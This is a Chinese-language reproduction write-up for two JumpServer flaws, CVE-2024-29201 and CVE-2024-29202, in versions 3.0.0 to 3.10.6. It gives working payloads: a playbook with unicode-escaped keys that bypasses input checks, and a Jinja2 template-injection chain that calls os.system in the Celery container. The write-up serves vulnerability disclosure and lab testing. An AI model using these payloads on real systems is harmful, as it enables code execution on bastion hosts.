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110 lines
4.0 KiB
Markdown
110 lines
4.0 KiB
Markdown
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## JumpServer(CVE-2024-29201)远程代码执行漏洞&(CVE-2024-29202)Jinin2模板注入漏洞
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JumpServer 是广受欢迎的开源堡垒机，是符合 4A 规范的专业运维安全审计系统。
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CVE-2024-29201 远程代码执行漏洞，该漏洞可绕过 JumpServer 的 Ansible 中的输入验证机制，在 Celery 容器中执行任意代码
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CVE-2024-29202 Jinin2 模板注入漏洞，该漏洞是有 JumpServer 的 Ansible 中存在 Jinja2 模板注入，在 Celery 容器中执行任意代码。
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## 影响版本
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```v3.0.0 <= JumpServer <= v3.10.6```
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## 环境搭建
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首先下载官方提供的脚本https://resource.fit2cloud.com/jumpserver/jumpserver/releases/latest/download/quick_start.sh，下载后编辑 quick_start.sh，将脚本中的 VERSION 修改为存在漏洞版本，如：V3.10.6。如下图所示：
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等待服务启动，启动完成后访问 http://ip/
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JumpServer 默认账号密码为 admin/admin
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接着进入后台添加资产，具体步骤如下图所示：
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添加资产后需要测试是否添加成功，点击资产后面的 更多-测试 进行测试。
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资产添加完成后添加用户，如下图所示：
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最后为用户分配一个资产，如下图所示：
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至此环境搭建完成。
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## CVE-2024-29201
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登陆创建的普通用户账号，进入 作业中心-模板管理 添加一个 Playbook
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点击创建的 Playbook 名称，切换到 工作空间，输入以下内容：
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```
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[{
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"name": "RCE playbook",
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"hosts": "all",
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"tasks": [
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{
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"name": "this runs in Celery container",
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"shell": "id > /tmp/pwnd",
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"\u0064elegate_to": "localhost"
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} ],
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"vars": {
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"ansible_\u0063onnection": "local"
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}
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}]
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```
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点击保存。保存完成之后切换到 作业管理 页面，创建一个新的 Playbook 作业
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playbook 作业详情如下：
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点击保存并运行作业
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结果如下
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进入 Celery 容器，查看 tmp 目录下是否存在 pwnd 文件
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## CVE-2024-29202
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与 CVE-2024-29201类似，进入 作业中心-模板管理 添加一个 Playbook，在 工作空间 输入的内容为：
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```
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- name: |
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{% for x in ().__class__.__base__.__subclasses__() %}
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{% if "warning" in x.__name__ %}
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{{
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x()._module.__builtins__["__import__"]("os").system("id > /tmp/pwnd2")
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}}
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{%endif%}
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{%endfor%}
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```
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添加完成后，同样进入作业管理页面创建并运行 Playbook 作业。运行结果如下
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## 漏洞来源
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- https://wh0am1i.com/2024/03/30/JumpServer-CVE-2024-29201-CVE-2024-29202/
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- https://github.com/jumpserver/jumpserver/security/advisories/GHSA-pjpp-cm9x-6rwj
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- https://github.com/jumpserver/jumpserver/security/advisories/GHSA-2vvr-vmvx-73ch
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